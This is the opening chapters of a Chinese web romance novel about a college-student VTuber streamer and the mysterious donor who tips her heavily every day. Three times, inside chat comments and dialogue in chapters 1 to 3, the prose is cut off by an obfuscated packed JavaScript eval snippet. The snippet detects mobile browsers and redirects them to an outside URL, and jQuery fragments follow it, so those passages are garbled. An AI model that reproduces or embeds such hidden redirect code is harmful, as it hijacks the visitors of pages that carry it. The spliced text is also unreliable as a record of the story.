《贴膜贴到榜一大哥后》 1. 神秘人 仙海市的盛夏来得毫无预兆，前天晚上下了一场大雨，第二天太阳突然就毒辣了起来，将难得施舍的雨水都蒸腾晒干。 大三下学期的最后一门考试在下午考完，头重脚轻地回到公寓后，南汐倒在床上睡了一会儿，直到七点钟的闹钟把她吵醒，提醒她要开播了。 每晚七点是南汐的开播时间，风雨无阻，节假日也照常，从直播开始两年多从未缺勤一天。 今天也一样。 尽管已经困到睁不开眼睛，南汐还是打起精神，强撑着从床上爬起来打开电脑。 手机上显示着好几条来自助理温琬的未读消息。 【要不今天就不播了，休息一天】 【别太拼命了宝，游戏明天还可以打】 【我给你买了感冒药，记得吃药啊！】 说是助理，实则是南汐大一的室友，两人脾气相投性格互补，在开启直播事业后，温琬主动请缨成为了她的小助理。 怕吵到室友休息，南汐搬到校外的公寓独居，除了在工作上辅助她，生活上温琬也帮衬不少。 鼻子有些不通畅，刚醒过来口干舌燥。 南汐看到第三条，拖着没什么力气的身体起身打开公寓门，果然看到挂在门把手上的药品外卖。 她就着温水喝了药，顺便回复她的消息： 【战胜病魔只需要一个全勤】 南汐坐到电脑前，登陆名为“Tsuki”的账号，打开直播软件，在粉丝通知群里发送开播通知，将直播间标题改成了“聊五毛钱的天”。 这一套流程已经重复了无数遍，她闭着眼睛都能操作。 她在中秋节出生，家人喊她小名“月月”，由此便取了日文中月亮的罗马音作为ID。 直播两年来，南汐已经积累了近百万的粉丝，逐步跻身人气主播的行列。 刚开播几秒钟就有几百个观众在线，南汐调整了一下摄像头的位置，朝大家打招呼：“晚上好。” 和其他大多数的主播不同的是，南汐并不露脸，取而代之的是一个虚拟的动漫人物形象，俗称皮套。 软件会精准地捕捉南汐的动作和表情，灵活地同步在虚拟人物上，代替真人出镜。 南汐的虚拟角色是由自己设计的，白色长发、粉色猫耳、女仆套、丸子头，典型的日式可爱风。 所有设定都是南汐高中时上课无聊打发时间画在草稿本上的。 本以为那时候的自己审美太幼稚，没想到却出奇地符合如今观众们的口味。 电脑屏幕上的弹幕刷得很快，南汐头还有些晕晕的，看到一条“怎么鼻音这么重”，刚准备念出来，鼻尖一痒。 “阿嚏——” 直播画面中央的小猫头也跟着动了动，耳朵上坠着的月亮耳环灵动地晃了几下。 “鼻音是感冒了。” 南汐抽了张纸巾，解释，“昨天下播之后本来想抱抱佛脚，结果空调没关就睡死过去了。” 今天是期末考的最后一门，偏偏要背的东西最多。 熬夜对南汐来说是家常便饭，直播游戏打到凌晨两三点她都精神奕奕，丝毫不见困意，可不知怎么的，昨晚知识点才背到第三条，人就直接倒在床上睡着了。 “太催眠了，人永远不可以低估知识的力量。” 南汐吸了吸鼻子，因为感冒，声音里像是夹杂着一丝撒娇的软绵，令人格外心软。 观众都在关心她。 【考试周是这样的，熬过去就好了】 【夏天感冒最难受了，抱抱月宝】 【下次别抱佛脚，抱老师的大腿比较可靠】 【学到老，睡到老】 【今天还打游戏吗？】 南汐谢过几个礼物过后，回答弹幕：“脑子有点转不动了，玩会儿星露谷吧，今天早点睡。” 【月宝，生病了就别播太久】 【宝宝注意身体啊】 【月神的早点睡是早上五点睡】 【还玩，还玩，网瘾就这么大？】 【主播以前左手打点滴右手甩狙血C的切片还有人没看过吗？】 【垂死病中惊坐起，一枪爆头秒杀你】 【错误的，明明是阎王夸她好身体】 【年轻人就是好，该睡就睡该玩就玩】 南汐跟观众打赌：“我今天一到十二点就下播，做不到是小狗！” 虽然之前在直播间里没少打赌失败，做小狗也不是第一回，观众都司空见惯了。 她想到什么，又说：“对了，我明天回家，之后直播时间会提前一些，你们等我通知。” 回家后就不能像现在一样颠倒作息，爸妈会监督她早睡早起。 老观众都知道，一到寒暑假Tsuki的直播时间就变得格外阳间。 南汐在网上从来没有公布过任何个人信息，仅仅只有在上大学这一点是众所周知的。 感冒之后嗓子有些不舒服，直播时间长，南汐也不怎么喝水。 她今天不想闲聊，打算直接开游戏，少说点话。 就在此时，屏幕上忽然弹出一条付费弹幕，来自一个注册元气TV时随机生出的默认ID：元气用户28389。 平平无奇的一串数字，然而对整个直播间的观众来说，这却是极其熟悉、如雷贯耳的名字。 元气用户28389发送了[1000元付费留言]：【吃药了吗】 留言特效刚出现，观众比南汐反应还要快。 【那个男人出现了！】 【日常打卡（1/1）】 【我擦，好炫酷的特效，这是元气老总进直播间了吗】 【什么老总，这是元神来了】 南汐心头一动，音量提高了点：“谢谢哥的留言，吃过药了。” 她话音刚落，直播画面忽然出现了全屏礼物动画。 南汐倒吸一口气，原本刚睡醒还有些迷糊的她瞬间清醒，屏幕中的虚拟角色跟着她一起瞠目结舌。 元气用户28389赠送了[月亮花灯×10] 反应过来后，声音里扬起了雀跃：“天呐，谢谢哥送的十个！月亮花灯！谢谢谢谢！破费啦！！” “月亮花灯”是Tsuki专属粉丝团最贵的会员礼物，一个需要五千两百块，而他竟然财大气粗地一次性送了十个。 弹幕一下就爆炸了。 【老板大气！！】 【我的妈呀开眼了】 【什么叫榜一大哥的实力？】 【欢乐豆我都不敢这么花】 【五万都花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236672|166128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，爹花五块钱改个名吧求求了】 最贵的礼物排场很足，动画特效足足持续了一分钟才结束。 南汐已经被他的壕气震惊到说不出话来，然而大哥还没打算结束。 几秒后。 元气用户28389发送了[1000元付费留言]：【休息几天】 【这下不得不下播了】 【元神发话了，月宝快去休息！】 【不要啊，你下播了我看什么？】 【你太不了解她了，等会儿被窝里偷偷播】 刷屏速度太快，南汐看不清弹幕，她清了清嗓子：“谢谢哥的留言，我申请明天再休息！” 不知是不是她感冒之后反应慢半拍，等她说出这句话，弹幕提醒老板已经不在直播间了。 真就来也匆匆去也匆匆，符合他一贯的特性。 【果然是小猫咪定时投喂机】 【连感谢的话都不想听，像极了给我打生活费的老父亲】 【这五万块对他来说好像是扔了张废纸】 【五万四千块，严谨一点好吗，四千块是我摇奶茶一个月工资呢】 【所以还播吗？这对我很重要】 人逢喜事精神爽，南汐嘿嘿一笑：“还播啊，这个月就剩几天了，我得拿全勤的。” 虽然一个月的全勤和收到的礼物相比微不足道，小财迷南汐更坚信多多益善。 她想了想，做贼心虚地压低声音：“大哥那么忙，肯定是看直播通知才上线的，接下来几天我就不发通知了，我偷偷播，你们偷偷看，别声张。” 【好好好，喜欢刺激的是吧】 【太敬业了月宝】 【我妈问我为什么要躲在卫生间里看动画片】 【元神要是知道了立马申请未成年退款】 南汐被弹幕逗笑：“什么呀，大哥才不是未成年，我都看过……” 大概是感冒让脑子变得迟钝，她说到一半才发觉不对劲，连忙止住话头。 说话还没到重点就戛然而止，观众被她勾起了好奇心，连连追问。 【看过什么了？看过什么了！】 【别吊人胃口啊！我会乱想的！】 【她是会做直播效果的，急死你们了】 【元神超会都续两年了，怎么可能是未成年】 【什么？月宝和大哥见过面？】 看弹幕猜测得越来越离谱，南汐怕被带节奏，赶紧澄清：“没见过面，我看他朋友圈呢，你们别瞎说啊。不说了不说了，打游戏。” 房管封了几条不合适的弹幕，发公告让大家专注游戏。 主播和大哥私底下联系并不少见，话题很快便被转移了。 只是南汐的这位“大哥”着实是一股清流，她担心自己没过脑子的一句话会引起观众误会。 或许是刚刚的失言，南汐心里一直不踏实，游戏玩了几个小时，距离十二点还有半个多小时就下播了。 直播时没看手机，下播后南汐才注意到，不久前工作微信号收到了一条未读消息。 TZF：【晚安，早点休息】 南汐的工作微信号专门用来处理直播相关事务，而这个头像是默认灰色人头、名称为“TZF”的人，正是今晚豪掷五万的榜一大哥。 2. 红包 与以往只是简单说一句“晚安”结束不同，大概是得知她今天生病了，TZF难得多打了几个字以表关心。 南汐也同往常一样回复他“晚安”。 她这边一结束，温琬就打来了电话。 “我说错话了。”南汐率先出声，“都怪他那十个月亮花灯把我砸蒙了。” “没事的。”温琬安慰她，“大家都知道老板是什么性格，不会多想的。” 这位名为“元气用户28389”的老板第一次出现在Tsuki直播间，是在南汐刚开始直播的两年前。 那时她读大一，彼时正是网络主播如雨后春笋大量涌现、竞争相当激烈的时期。 刚上大学，空闲时间多，南汐并没有什么数据压力，直播也是因为喜欢打游戏，顺便跟观众聊聊天。 除了上课吃饭睡觉，南汐把所有的时间都用来直播当时热度居高不下的多人在线枪战游戏CS2。 说话时声音温软，在射击游戏上却有着超高的游戏天赋，强烈的反差成了她的招牌，短时间内便吸引了大量的观众粉丝。 才仅仅第一周，南汐的直播间观看人数就破了千。观众鱼龙混杂，不少怀揣着好奇心的人便开始在弹幕里要求她露脸。 这样的弹幕一条两条南汐还可以装作看不见，但发的人的多了，直播间没有房管，她在游戏中又不能及时禁言，最终便发展成了刷屏。 南汐并不想在网络上透露自己的个人信息，那时候她的想法很简单，纯粹是怕被爸妈看到挨骂。 节奏带得太厉害，她不得不退出游戏，回应：“我长得又不好看，怕放出来吓到大家。” 观众却仍然不依不饶，南汐一张嘴说不过那么多弹幕，一时间没办法控场。 直到屏幕上突然弹出来一条付费留言，吸引了南汐的注意力。 下课吃什么发送了[30元付费留言]：【主播主播，不想露脸可以学虚拟区搞个皮套人啊】 南汐平时也有刷到过虚拟区主播，可惜了解甚少，问：“那个要怎么弄？” 有知情的观众便开始给她解释什么叫“live2D模型”，以及模型是怎么制作生产。 南汐有了个粗略的概念，又问：“要去哪里请人帮忙做这个呀？” 下课吃什么发送了[30元付费留言]：【我有认识的人会做这个，可以帮你】 这条留言一出，弹幕不乏调侃。 【好啊，图穷匕见了是吧】 【下课吃粉笔灰吧你】 【做个精致点的皮套可不便宜啊，老板这么有钱怎么不上个超会看看实力】 【Tsuki声音太好听了，皮套就皮套吧】 【我赞成，起码比什么都没得看好多了】 南汐和观众们又聊了一会儿天，宿舍里熄灯了，为了不打扰舍友们休息，她下播爬上了床。 手机收到了一条来自刚刚付费留言观众的私信。 下课吃什么：【你会画画吗？如果有人设图的话就很简单了】 才刚刚接触到网络直播，南汐对陌生观众并没有很强的防备心，她回复：【会一点，你真的要帮我啊？】 下课吃什么：【真的啊，我平时要上课，没时间玩游戏，很喜欢看你直播，特别解压】 下课吃什么：【人设图画好了就发我，周末我帮你问问】 Tsuki：【那太谢谢你啦！】 南汐加上了他的□□好友，看了一眼他的资料卡片，才发现他嘴里的“上课”和她所理解的不太一样，不是大学的课，而是高中的课。 居然还是个高中生。 心里在“他真的靠谱吗”和“要不还是信他一次”中摇摆不定。 南汐把这事告诉了她对床的室友温琬，对方当即赞同：“你先发过去，如果要钱就拉黑。” 本着这样的想法，南汐打开了手机里存着的一个相册，里面都是高中时在草稿本上画的动漫人物草图。 挑了一张完成度最高的发了过去。 本来已经不抱什么希望，但令人意外的是，一周后，下课吃什么竟然真的将打包好的文件发了过来，并且将安装指南也详细地告诉了她。 看到自己画的人物图被精细地修改过，活灵活现地跟着她的表情、动作动起来时，南汐心里说不上来的惊喜和感激。 下课吃什么并没有收她的钱，自称是因为喜欢看她直播所以主动帮忙，并不求回报。 有了皮套之后，南汐的直播也顺利得多，这个白头发猫耳小女仆逐渐演变成了Tsuki的专属形象。 也就是在使用皮套直播的第二天，南汐迎来了直播间有史以来热度最高的一刻。 晚上八点，一局比赛即将结束，南汐刚刚拿下三杀，开镜准备收最后一个人头时，直播屏幕忽然弹出了一个全屏的动画特效。 专业的主播为了游戏运行顺畅、直播画面不卡顿，会使用单独的一台电脑专门进行推流，将游戏画面推送到直播间。 而南汐只是业余主播，一台笔记本既要负责游戏又要负责直播，观众送礼物的特效直接显示在了她的游戏画面上。 紧急情况下，她甚至来不及看清楚弹出来的是什么，被遮挡视野之后只能凭着感觉盲狙。 可她竟然精准地爆了对面的头！ 结算画面出现，直播间一片欢呼。 【我的妈呀太牛了！】 【电子竞技根本不需要视力！】 【最后那枪帅得我流口水！这个女人太恐怖了啊！】 【她好帅她好帅她好帅啊啊啊】 【不是，哪个老板送了白色风车啊？】 【什么情况？开挂了？】 南汐心跳已经飙升到了一百二，看到赢了之后才终于松了口气，看向旁边的弹幕区，声音里还夹杂着惊魂未定：“谢谢元气用户……28389送的一个白色风车。” 她从来没有收到过这种礼物，问：“这个多少钱啊？” 扫到弹幕，倒吸了一口气，音量陡然提高，“两千块！谢谢谢谢，太感谢了！” 话音刚落。 元气用户28389发送了[500元付费留言]：【Cool】 南汐持续震惊，话都快要说不利索：“啊啊啊，谢谢你的留言，刚刚完全是运气，差点就没了。” 就在她刚给这位默认ID用户点下关注时，屏幕上又弹出来一个没见过的通知动画。 元气用户28389在Tsuki直播间发送了[关注红包]，快来领取吧。 南汐对元气TV的礼物系统还不甚了解，不由得问：“什么是‘关注红包’啊？” 然而这一次她看不清观众的回答，弹幕区的文字速度骤然变快，让南汐眼花缭乱。 同样快速增长的，还有直播助手界面最底下的粉丝数，由刚刚的71283，眨眼间就跳到了103223，甚至还在不停地以秒为单位迅速刷新！ 【老板大气！！】 【全站的红包啊！我的妈活久见！】 【刚看了下居然是刚注册的零级号，是哪个大佬的小号？】 【我靠，领到了十块！】 【关注你才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236673|166128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能领取的红包！老板发了五万块！】 【亲眼见证十秒涨五万粉，什么情况】 【这种级别的老板啊，我们小月亮也是好起来了】 【新人主播吗，怎么不谢礼物啊】 右下角的皮套小人露出了晕乎乎的表情，下方的心率显示，主播的心跳又飙到了120。 南汐还在失神地盯着剧增的粉丝数，后知后觉：“天哪，谢谢哥，谢谢你的红包，我是在做梦吗……” 太不真实了，几万块对于这位老板来说好像是洒洒水那么简单。 南汐甚至要怀疑他是不是在输入数字时多打了一个零。 红包限时一分钟领取，而在这短短的60秒内，南汐眼睁睁地看着她的粉丝数涨到了25万，直播间在线人数也达到了顶峰。 她的直播间被推送到了人气榜一的位置，蜂拥而至的观众给南汐带来了极大的压力，生怕自己说错一句话。 她战战兢兢地重复了几遍感谢的话，然而观众却提醒她，老板已经离开直播间了。 【就这么走了？走了？？】 【老板来去无影踪，只留下红包无数】 【月亮宝宝你还好吗？怎么皮套目光呆滞了】 【被吓到了吧哈哈哈哈】 【好多人啊.jpg】 南汐慢半拍地反应过来，因为过于心慌，无措：“那我要怎么办啊？我现在要干嘛？” 【你不是游戏主播吗？接着打啊】 【主播心跳好快，小鹿乱跳了】 【趁着人多再来一把啊！别浪费流量！】 【这么可爱打什么游戏，会唱歌吗？】 【想听唱歌出门右拐唱见区，别耽误哥们看游戏】 【你们还真是油盐不进啊……】 人太多了，南汐根本看不清弹幕，但也知道现在应该尽可能地接住这泼天的富贵，把看热闹的观众留下来。 她继续播了两个多小时，直到快要熄灯，看到直播间在线人数仍然有五千多，甚至有些不愿意下播。 但室友们都要休息了，南汐只好关了电脑。 温琬的床位就在南汐的对面，她亲眼看到了八点多时南汐直播间的狂欢，碍于她在直播一直没出声，现在终于能说话了。 “南汐，你这什么吸金体质。”温琬现在想起来还觉得热血沸腾，“我刚看你粉丝都快到三十万了！” 另一个室友附和：“这得是给你投了多少钱啊？” “好像是五万？”温琬问，“不过那种关注红包你是不是没有分成的？” 南汐才播了一周，在此之前连超过50块的礼物都没收到过，根本不了解这些：“我不知道。” 见她仍然迷迷糊糊的，温琬提醒：“对了，你赶紧关注那个大哥，说不定他会有什么要求。” 邻床的室友小声说：“给你花这么多钱，会不会要求见面吃饭什么的啊？我看网上有这种说法。” “那不行。”温琬说，“这不能答应。” 南汐长得显小，大学开学两个月后才过18岁生日。 刚开学军训时，一张清纯甜美的脸吸引了不少人追求，但她所有的闲暇时间都用来打游戏，根本没有恋爱的想法。 在室友们看来，她完完全全就是个涉世未深的网瘾少女。 南汐自然也没想这么做：“我肯定不会去的。” 她打开了元气APP，果然看到私信里有来自元气用户28389的消息—— 【加油】 简短的两个字，风格正如那条500元的付费留言。 3. 普通朋友 He only 温琬见她盯着手机发呆，不好的预感浮上心头：“不会真要跟你约会吧？” 南汐却缓缓地摇了摇头，怔怔地说：“他就鼓励了我一句话，让我继续加油。” “还有这种好事？”室友们凑过来看。 见到只有两个字，她们也面面相觑。 “他是不是随机找个主播做慈善啊？”室友合理怀疑，“刷完就走，只留下一个做好事不留名的背影。” “你别说还真是。”另一个室友猜测，“我感觉这种不像富哥，像富婆。” 南汐傻眼了，她原本只是想直播玩玩，谁承想巨大的惊喜砸在她头上，欣喜的同时需要考虑的东西也变得更多。 她毫无主意地问：“我现在应该怎么办？” 不管是富哥还是富婆，今晚给她花了这么多钱，南汐都觉得口头的一句谢谢太言轻。 甚至当时她感谢的时候，老板好像早就退出直播间了，听没听到都是未知数。 “出手这么阔绰的肯定是富二代，这么高冷还大方的太少见了。” 温琬说，“我记得不是有给礼物榜前几名准备礼物的传统？你可以也搞一个意思一下，不然老板可能下次就不来了。” 南汐有些苦恼：“准备什么礼物？” 室友替她想法子：“亲手做的巧克力啊、饼干之类的，或者录起床铃也可以。” 烘焙是南汐擅长的，她当即点头：“好。” 温琬见她不知从何下手，问：“南汐，你有没有微信小号？” “有啊。” 之前注册过小号专门用来记日记，南汐点点头，“怎么了？” “你用小号联系，这样安全点。”温琬想得更多，“以后要是有什么商务合作也可以当成工作号，跟你自己平时用的分开。” 室友们替她出谋划策，说了这么多，南汐先得迈出第一步—— 加上老板的账号。 南汐犹豫了片刻，随后向元气用户28389发去了一条私信： 【很感谢你今晚的捧场！我想送你一份礼物，方便留一个联系方式吗？[可爱]】 措辞是给室友们看过之后觉得没问题才发出去的，南汐的手机放在桌上，大家围在一起，等待着对方的回复。 隔了快两分钟，对方才终于发过来一串数字。 【这是我的微信，礼物就不用了】 原本南汐还在想起床铃要说些什么、用什么语气说比较合适，看到回复，她心里莫名地松了口气。 温琬咋舌：“妈呀，连礼物都不要？” 室友：“快加他微信看看呀。” 南汐复制了那串号码，搜索出来一个头像是微信默认图片、昵称是“TZF”的用户。 她点了添加好友。 “TZF？”温琬联想，“太子妃？果然是富婆。” 南汐纠正：“这里显示是男性。” “也有可能是投资方。”室友点头，“肯定是看中南汐的商业潜力了。” “怎么不能是兔子肥？”另一个室友，“想吃麻辣兔头了。” 女生们对着这个字母缩写大开脑洞，加上微信后，又怂恿南汐一窥他的朋友圈。 可惜的是点进去之后显示对方只展示近一个月的动态，里面空空如也。 温琬下定论：“看来他也是用小号加你的。” 不要礼物，个人信息空空如也，室友们都觉得这位老板只是昙花一现。 可接下来的每一天，元气用户28389都会在南汐开播不久之后光临Tsuki直播间，刷上个几千的礼物就迅速离开。 两年下来，他一天不落地出现、极少发言、上线就是送礼物的行为，被直播间的观众们戏称“元神日常打卡”。 为了有更好的直播体验，南汐搬出了学校宿舍，在校外租了一间单身公寓。 而温琬自告奋勇成为了南汐的商务助理，同时兼任房管，为她管理直播间事宜。 南汐的直播事业在那一晚之后青云直上，粉丝团体也逐渐壮大了起来。 但每个月统计超会礼物时，稳居榜一的元气用户28389却从来没有填写过收货地址。 不仅如此，这位大哥在微信上的生活痕迹几乎没有，和南汐的沟通只限于每天的早安和晚安，仅此而已。 温琬曾经戏称：“我以前误会了，看来他的微信名字表示的应该是‘陶喆粉’。” 南汐没懂：“你怎么知道？” 温琬五音不怎么全地唱起来：“Heonlywannabeyourfriend。” 确实是普通到不能再普通的朋友。 不过这也让南汐彻底放下心来，她不关心大哥到底为什么这么舍得愿意为她花钱，不需要维护的大哥统统归为“电子提款机”。 只要不谈及感情，什么都好说。 至于前不久南汐刚在直播间里失言说的那句“大哥才不是未成年”，则是因为前几天TZF在朋友圈里罕见地更新了一条动态。 考试周这几天，南汐一点左右就下播了，那天躺在床上用工作号处理消息，看到“发现”一栏，朋友圈的旁边出现了TZF的头像，她以为自己在做梦。 老板在朋友圈里分享了一张图片，没有任何配文。 图片里光线少许昏暗，宽大的黑色工作桌上摆着大屏幕电脑、键盘和其他电子设备，看起来是专业办公桌。 电脑屏幕上是南汐看不懂的英文软件，不知道他是做什么工作的。 最令人在意的，是那只随意放在键盘上的手。 南汐从小喜欢打游戏，高中时也看过不少电竞赛事，关注过一些电竞选手，除了技术之外，她最关心的就是男生的手。 漂亮的手能一瞬间吸引她的注意力，这是她从没告诉过别人的XP之一。 而老板就长着一双南汐最喜欢的手，手指修长、骨节分明，手背上凸起的青筋恰到好处地展示着男人的力量感。 南汐不得不承认，在那一刻起，她对这个素未谋面、身份神秘的大哥有了奇怪而微妙的憧憬。 那不可能是未成年。 这是一个成熟男人。 TZF的朋友圈有时限，南汐便偷摸地把这张照片存了下来，以便日后反复欣赏。 她也将这张照片发给了温琬，对此对方的反应倒是显得平平无奇。 “这个点大哥居然在加班？”温琬很实际，“看来有钱人也不会嫌钱多。” 南汐只能把那一点点刚冒出头的小心思压了下去。 * “你在不在听？”见她一直不说话，温琬奇怪，“睡着了吗？” “没有没有，刚刚在想事情。”南汐说，“感冒真的影响反应力，下次少说点。” 温琬倒是好奇：“你明天真播啊？万一大哥又来了被现场抓包怎么办。” “不会的。”南汐小小声，“你不记得了吗，去年有一次我忘记发直播通知，他就没来。” 那天南汐睡过了头，开播之后忘发通知，直播间迟迟不见大哥身影。 观众们都在奇怪今天他怎么缺席，猜测是不是不来了。 南汐早上才收到他发来的“早安”，没把弹幕放在心上。 直到快要下播了，大哥终于来了，发了一条两千元留言：【怎么不发通知】 南汐这才想起来是自己的疏忽。 明明是她的问题，大哥却阔绰出手刷了两万的礼物，把往坏处想的观众的嘴给彻底堵上了。 温琬想起来了这事，笑起来：“行吧，反正回家了你也播不了多长时间。” 挂了电话之后，南汐吃了个夜宵，期间收到了表姐韩颖的消息。 【宝宝，你放假了没啊？】 感冒之后吃什么都没胃口，南汐放下勺子，回复她：【明天放假回家啦】 表姐：【来找我玩啊！我在探月园这边摆摊】 表姐：【送你我亲手做的手机壳！】 探月园是仙海市最有名、人流量最大的风景园区，一到假期人挤人，摆摊生意很不错。 南汐知道表姐一到长假就会出来轻创业，今年她研一，放假比南汐早一些。 表姐做的是手工手机壳，可以根据客人的要求快速定制各种风格类型，收费还不贵，今年过年在园区大受欢迎。 南汐：【好啊好啊，我后天去找你玩~】 表姐：【你几点直播啊？晚上请你吃大餐！】 南汐：【一般是七八点，晚点也没事】 表姐：【好，那我等你啦】 感冒药的副作用让南汐被困意侵扰，洗过澡后便晕晕沉沉地睡了过去。 南汐家离仙海大学并不远，坐公交车也就二十分钟。 没课的情况下她都醒得晚，到家时刚刚好赶上午饭。 爸妈家里养了一只三岁的布偶，名叫淘气，南汐一进门就热情地迎了上来。 淘气是南汐考上仙海大学时，爸妈送给她的礼物，虽然南汐只有假期才回家，但跟南汐最熟，好像只认准了她一个主人。 南汐抱着淘气亲了一会儿，忽然一个喷嚏打了出来。 得知是吹空调着凉了，祝晴心疼地摸了摸她的脸：“是不是又熬夜打游戏啦？” 南汐有些心虚：“没有熬夜啊妈妈，我睡了八个小时的。” 是一天睡够八小时，还是两天睡够八小时，这就不好说了。 爸妈向来支持她做想做的事，但还是担心她的身体。 祝晴似乎是信了，说：“妈妈给你补补营养，感冒快快就好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236674|166128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 吃过午饭后，爸妈带她去医院看了看，医生对症下药，叮嘱她这几天注意饮食，多多休息。 回来的路上，祝晴说：“还直播吗？你跟你的粉丝们请个假呗。” 南汐没好意思说是自己网瘾上来想玩，干脆顺着妈妈的话说：“他们可想看我直播了，妈妈，你一直追的电视剧突然有一天不放了，你是不是会不开心?” 两种东西根本不能相提并论，祝晴笑：“有那么好看？” 南汐点点头：“堪比新型电子鸦片。” 最终爸妈还是松了口，不过为了让他们放心，南汐今天打算播点别的。 她在直播时有提过她有一只世界上最可爱的布偶小猫，观众们也都知道，但从来没见过真面目。 南汐打算今天让淘气代播。 她特地没有发直播通知，用手机开启了直播。 南汐的房间不算小，开启直播后，她坐在床边地毯上，摄像头对准了怀里的淘气。 小猫咪配合得很，正仰着脸看向镜头。 “大家晚上好。” 不知为什么，南汐声音也压低了很多，像是生怕被谁知道。 【啊啊啊啊不是皮套人！】 【猫猫！是可爱猫猫！本体出现了！】 【好可爱的小猫，我带着麻袋来了】 【今天咋回事？不播游戏了？】 南汐穿了套粉蓝格子JK裙，淘气正坐在她的怀里。 她回复弹幕：“今天不播游戏，今天看猫猫，嘿嘿。” 【好耶！猫猫我亲一口】 【月宝手好小啊啊，好可爱】 【我的妈，主播这么白？我要犯错了】 【好白……我是指猫】 【蒸虾头×35】 南汐这才注意到短裙下的腿拍到了一点，她扯过一条薄毯子盖上，急：“下头！” 【你们快收收味，等会儿月宝生气下播了怎么办！】 【真不发直播通知啊？元神这都没看见，太可惜了】 【切片员呢？录播组呢？上班啊！】 【月宝月宝，猫猫叫什么呀？】 “叫淘气。”南汐捏了捏淘气的脸，“但是它一点都不淘气，它很乖的，宝宝来握个手。” 淘气配合地抬起前爪，娇气地叫了一声。 直播间蹦出一连串无意义的尖叫。 “谢谢玛奇朵的留言，今天吃什么了，吃了妈妈做的蛋白藕丸，哎呀，小哪吒。” “有没有看病，看了看了，吃了药，但是嗓子还是好痛，我声音还是哑哑的。” “手上戴的什么。”南汐把手腕举起来，细白腕骨上戴着一串蓝紫色的水晶手链。 “是水晶，我朋友送我的生日礼物，是她亲自做的，特别好看。” 这是前年南汐过十八岁生日时，温琬送给她的，中间还有一个银质猫猫小吊坠，南汐一直很喜欢，这两年一直戴着。 “哪里能买，买不了，不过你们可以截图去看看有没有相似款式。” “今天播到几点，不确定啊，淘气烦了就下播了，明天就接着打游戏了。” 南汐想了想，又说，“不过也不确定，明天要跟姐姐吃饭，如果太晚回来就不行了。” 【姐姐？什么姐姐？】 【我要看吃饭！吃播吃播！】 “是表姐。”南汐拒绝，“吃播不行，淘气吃播还差不多。” 她说着便起身去给淘气拿猫罐头。 淘气的零食柜放在家里玄关的位置，南汐一打开门，淘气听懂了似地朝着零食柜跑去。 南汐的镜头一直对着地板，拿了一个罐头后回到房间。 给淘气喂了罐头，又逼着它被迫营业了半个多小时，见它终于开始不耐烦了，南汐揉了揉小猫下巴，说：“朋友们，淘气这下真要发脾气了，要不今天就播到这里吧。” 【不要啊！元神还没来！】 【谁去喊一下爹，送个礼物续续时长】 【元神不来，你们谁送一下啊！】 【兄弟们都是主打陪伴的，直播一秒不落，礼物一个不送】 看到这样的弹幕，南汐赶紧制止：“你们别告诉他呀，我会失信的！” 她生怕真的有观众把大哥叫来，匆匆忙忙就赶紧下播了。 然而她还是失算了。 她这边才下播不到十分钟，刚刚四十多分钟的直播已经被粉丝录屏下来，传到了平台，甚至推送到了南汐的首页上。 热评第一： 【我们月宝都说了不要@元气用户28389，你们非要@元气用户28389，再@元气用户28389我就生气了！说好的偷偷看呢！】 南汐两眼一黑，一头磕在柔软的床垫上。 4. 悸动 直播两年来，Tsuki的人气涨得很快，南汐有了不少切片员。 所谓切片，是负责将直播过程中的精彩片段剪辑成节奏快、时长合适、利于传播的短视频。 南汐直播会有录播组录屏下来上传，她每天都高强度直播六小时以上，长时间的录播点击率不高，因此切片员会将她一些搞笑或高能片段单独剪辑出来供粉丝们观看娱乐。 南汐的切片员几乎都是忠实老粉丝，刚刚她在直播时提了一嘴这段别剪，大家都很听话，果然没见到直播切片。 而这段全程录屏似乎是新观众上传的，ID很陌生。 底下的评论也是粉丝们在玩梗。 南汐心里有些忐忑不安，这两年里大哥待她不薄，从来没送过两千块以下的礼物，平时保持分寸距离，钱多事少，是多少主播可遇不可求的贵人。 南汐宁愿得罪粉丝也不愿意得罪大哥。 她正纠结要不要亲自出马，手机响了一声，温琬给她发来了消息。 【我看到有人上传你刚刚的直播，需要我去协商一下吗】 南汐在网上一直很谨慎，不愿意暴露自己的私人信息，起初是怕爸妈发现，后来得到了家里人的支持后，南汐更怕的是她粉丝量这么大，难免被坏人惦记。 南汐跟温琬说了声之后，她便去联系发布视频的博主了。 几分钟后，温琬回复：【搞定，他删掉了】 南汐点进历史记录，果然看到那个视频已经被删除。 前后不超过十分钟，南汐这下是彻底放下心来，大哥肯定没看见。 南汐：【谢谢琬琬！】 温琬：【不客气，小琬为你保驾护航[酷]】 